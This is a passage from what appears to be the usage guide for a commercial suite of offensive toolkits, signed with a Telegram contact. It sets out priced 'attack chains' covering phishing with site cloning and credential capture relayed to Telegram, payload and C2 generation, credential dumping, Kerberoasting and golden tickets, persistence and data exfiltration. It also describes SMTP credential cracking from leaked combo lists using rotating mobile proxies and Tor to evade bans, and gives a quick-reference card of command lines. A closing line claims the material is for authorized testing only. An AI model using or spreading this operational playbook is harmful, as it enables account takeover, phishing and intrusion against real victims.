lead_processor.py — Lead/Data Processor

Process and organize pentest findings, sort vulnerabilities by severity.

```
python3 lead_processor.py --input findings.json --sort-by severity --output organized.json
python3 lead_processor.py --input findings.json --dedupe --merge --output clean.json
```

10. FULL ATTACK CHAINS

Chain 1: Bug Bounty ($500-$500,000)

```
Phase 1 — Recon: Toolkit 1
recon_pipeline.py → subdomain_scanner.py → dns_recon.py → email_harvester.py

Phase 2 — Vulnerability Discovery: PT-Hacker
web_app_scanner.py → vuln_scanner.py → exploit_helper.py

Phase 3 — Cloud Testing: Toolkit 4
cloud_bucket_hunter.py → metadata_exploit.py → oauth_abuse.py

Phase 4 — Report: PT-Hacker
report_generator.py --template bugbounty
```

Chain 2: Full Red Team ($10,000-$100,000)

```
Phase 1 — OSINT: Toolkit 1
recon_pipeline.py → email_harvester.py → social_mapper.py → metadata_extractor.py

Phase 2 — Phishing: Toolkit 2 + Strike
site_cloner.py → campaign_manager.py → phishing_lab.py → email_spoofer.py

Phase 3 — Initial Access: Toolkit 5
pdf_payload.py / office_macro_generator.py → c2_server.py

Phase 4 — Post-Exploit: Toolkit 6
privesc_windows.py → credential_harvester.py → network_scanner.py

Phase 5 — AD Attack: Toolkit 3
ad_enum.py → kerberoast.py → bloodhound_collector.py → golden_ticket.py

Phase 6 — Persistence: Toolkit 5 + 6
persistence_mechanisms.py → implant_manager.py → data_exfiltrator.py

Phase 7 — Report: PT-Hacker
report_generator.py --template pentest
```

Chain 3: Pentest ($5,000-$50,000)

```
Phase 1 — External: Toolkit 1 + PT-Hacker
recon_pipeline.py → port_scanner.py → vuln_scanner.py → web_app_scanner.py

Phase 2 — Internal: Toolkit 3 + 6
ad_enum.py → kerberoast.py → privesc_windows.py → credential_harvester.py

Phase 3 — Cloud: Toolkit 4
aws_enum.py → azure_ad_enum.py → cloud_bucket_hunter.py
```

Phase 4 — Report:
report_generator.py --template pentest

Chain 4: OSINT as a Service ($500-$5,000/report)

recon_pipeline.py → email_harvester.py → social_mapper.py → metadata_extractor.py → shodan_search.py → whois_lookup.py → report_generator.py

Chain 5: SMTP Attack ($2,000-$10,000)

Phase 1 — Target Discovery: Toolkit 1
recon_pipeline.py → dns_recon.py (find MX records)

Phase 2 — Combo Building: Toolkit 1
combo_builder.py (filter by target domain)

Phase 3 — SMTP Attack: Strike v27
strike_smtp.py (Mode 5: Full pipeline with mobile proxies)

Phase 4 — Post-Exploit: Toolkit 6
credential_harvester.py → data_hunter.py

11. PROXY GUIDE

Proxy Types for Each Operation

Operation	Best Proxy	Why	Speed
SMTP Cracking	**Mobile Proxies**	Rotates IP per request, lowest ban rate	Slow
Port Scanning	Static Residential	Fast, low detection for light scans	Fast
OSINT/Recon	Static Residential or None	Low request count, no ban risk	Fast
Phishing	None (use your SMTP)	Direct from your mail server	Fast
ZoneH Scraping	Mobile Proxies	Zone-H blocks datacenter IPs	Medium
Brute Force (SSH/RDP)	Mobile Proxies	IP rotation prevents lockout	Slow
Web Scraping	Static Residential	Good balance of speed and stealth	Fast
AD Attacks	None (internal)	Must be on internal network	Fast

Mobile Proxy Setup

```
# In strike_smtp.py or any tool with --proxy flag:
--proxy-file mobile_proxies.txt
--proxy-type socks5  # or http

# mobile_proxies.txt format (one per line):
# user:pass@IP:PORT
# or IP:PORT

# Recommended providers:
# - Smartproxy (mobile): ~$50-100/GB
# - SOAX (mobile): ~$70/GB
# - IPRoyal (mobile): ~$50/GB
# - Bright Data (mobile): ~$100/GB

# 1GB mobile proxy ≈ 5,000-10,000 SMTP requests
```

Tor Setup (Free Alternative)

```
# Install Tor
sudo apt install tor -y
sudo systemctl start tor
sudo systemctl enable tor

# Verify Tor is running
curl --socks5 127.0.0.1:9050 https://check.torproject.org

# Use with any tool:
proxychains4 python3 strike_smtp.py

# Rotate Tor circuit (new IP):
sudo kill -HUP $(pgrep -x tor)
# Wait 5 seconds for new circuit
```

Speed vs Stealth

> **Important:** Speed doesn't matter if you get banned. 100 attempts with mobile proxies beats 10,000 attempts with datacenter (which all get blocked). Always prioritize stealth over speed for cracking operations.

12. TELEGRAM INTEGRATION

Setup (All Toolkits)

```
# Create telegram.json in toolkit directory:
{
    "bot_token": "YOUR_BOT_TOKEN",
    "chat_id": "YOUR_CHAT_ID"
}

# Get bot token from @BotFather on Telegram
# Get chat_id by messaging your bot, then:
curl https://api.telegram.org/botYOUR_BOT_TOKEN/getUpdates
```

What Gets Sent to Telegram

- **Phishing Lab:** Captured credentials in real-time
- **C2 Server:** New implant callbacks, session activity
- **SMTP Cracker:** Cracked credentials
- **Campaign Manager:** Campaign stats, click rates
- **ZoneH Grabber:** New defacements found
- **All tools:** Start/stop notifications, errors, results summary

Telegram Commands

```
# Most tools support these Telegram commands:
--telegram          # Enable Telegram notifications
--bot-token TOKEN   # Specify bot token
--chat-id ID        # Specify chat ID
--telegram-only     # Only send to Telegram (no console output)
```

13. TROUBLESHOOTING

Common Issues

"ModuleNotFoundError: No module named X"

```
pip install X --break-system-packages
# or
pip install X --user
```

"Permission denied" when running tools

```
chmod +x *.py
# or
python3 tool.py  # instead of ./tool.py
```

proxychains4 not working

```
# Check proxychains config
cat /etc/proxychains4.conf
# Should have: strict_chain
# socks5 127.0.0.1 9050

# Test proxy
proxychains4 curl https://ipinfo.io
```

ZoneH Grabber returns 0 results

```
# You MUST solve captcha in browser first
# 1. Open browser → https://zone-h.org/captcha.py
# 2. Solve captcha
# 3. Go to https://zone-h.org/archive
# 4. Verify you see defacement data
# 5. F12 → Application → Cookies → zone-h.org
# 6. Copy PHPSESSID value
# 7. Provide to tool when prompted
```

SMTP Crack returns 0 results

```
# Common causes:
# 1. Target behind Cloudflare (need MX records, not IPs)
# 2. Rate limiting (use mobile proxies)
# 3. Wrong wordlist (use Auto-IQ mode)
# 4. Firewall blocking (try different ports: 25, 465, 587)

# Fix: Use MX records as targets
python3 dns_recon.py --domain target.com --record MX
# Use the MX hostnames in targets.txt
```

Tool compiles but crashes at runtime

```
# Check Python version
python3 --version  # Should be 3.11+
```

```
# Check for syntax errors
python3 -m py_compile tool.py

# Run with debug
python3 -v tool.py 2>&1 | tail -50
```

Aeromail "completed_with_errors"

```
# Check DNS resolution
python3 -c "import dns.resolver; r = dns.resolver.Resolver(); print(r.resolve('gmail.com',
'MX'))"

# Check gunicorn logs
tail -50 /home/ai/aeromail/gunicorn_error.log

# Restart aeromail
pkill -f gunicorn
cd /home/ai/aeromail && gunicorn -w 4 -b 0.0.0.0:5000 app:app
```

QUICK REFERENCE CARD

Task	Toolkit	Tool	Command
Find subdomains	1	recon_pipeline	python3 recon_pipeline.py --target X --all-phases
Harvest emails	1	email_harvester	python3 email_harvester.py --domain X
Verify emails	1	email_verifier	python3 email_verifier.py --list emails.txt
Build combos	1	combo_builder	python3 combo_builder.py --input leak.txt --filter @X
Clone website	2	site_cloner	python3 site_cloner.py --url X --output clone
Send phishing	2	campaign_manager	python3 campaign_manager.py --send --campaign X
Kerberoast	3	kerberoast	python3 kerberoast.py --domain X --user Y --pass Z
AD enum	3	ad_enum	python3 ad_enum.py --domain X --all
AWS enum	4	aws_enum	python3 aws_enum.py --access-key X --secret-key Y
Azure enum	4	azure_ad_enum	python3 azure_ad_enum.py --domain X
Gen payload	5	payload_generator	python3 payload_generator.py --os windows --lhost X --lport 4444
PDF payload	5	pdf_payload	python3 pdf_payload.py --lhost X --lport 4444
Start C2	5	c2_server	python3 c2_server.py --host 0.0.0.0 --port 4444
PrivEsc	6	privesc_windows	python3 privesc_windows.py --scan-all
Dump creds	6	credential_harvester	python3 credential_harvester.py --all
SMTP scan	Strike	strike_smtp	python3 strike_smtp.py
Phishing	Strike	phishing_lab	python3 phishing_lab.py --template X
Port scan	PT-Hacker	port_scanner	python3 port_scanner.py --target X
Web scan	PT-Hacker	web_app_scanner	python3 web_app_scanner.py --url X
Gen report	PT-Hacker	report_generator	python3 report_generator.py --template pentest

END OF GUIDE

By Mr Pilot Annis | Contact: t.me/rick_ene

For authorized security testing only. Always get written permission before testing.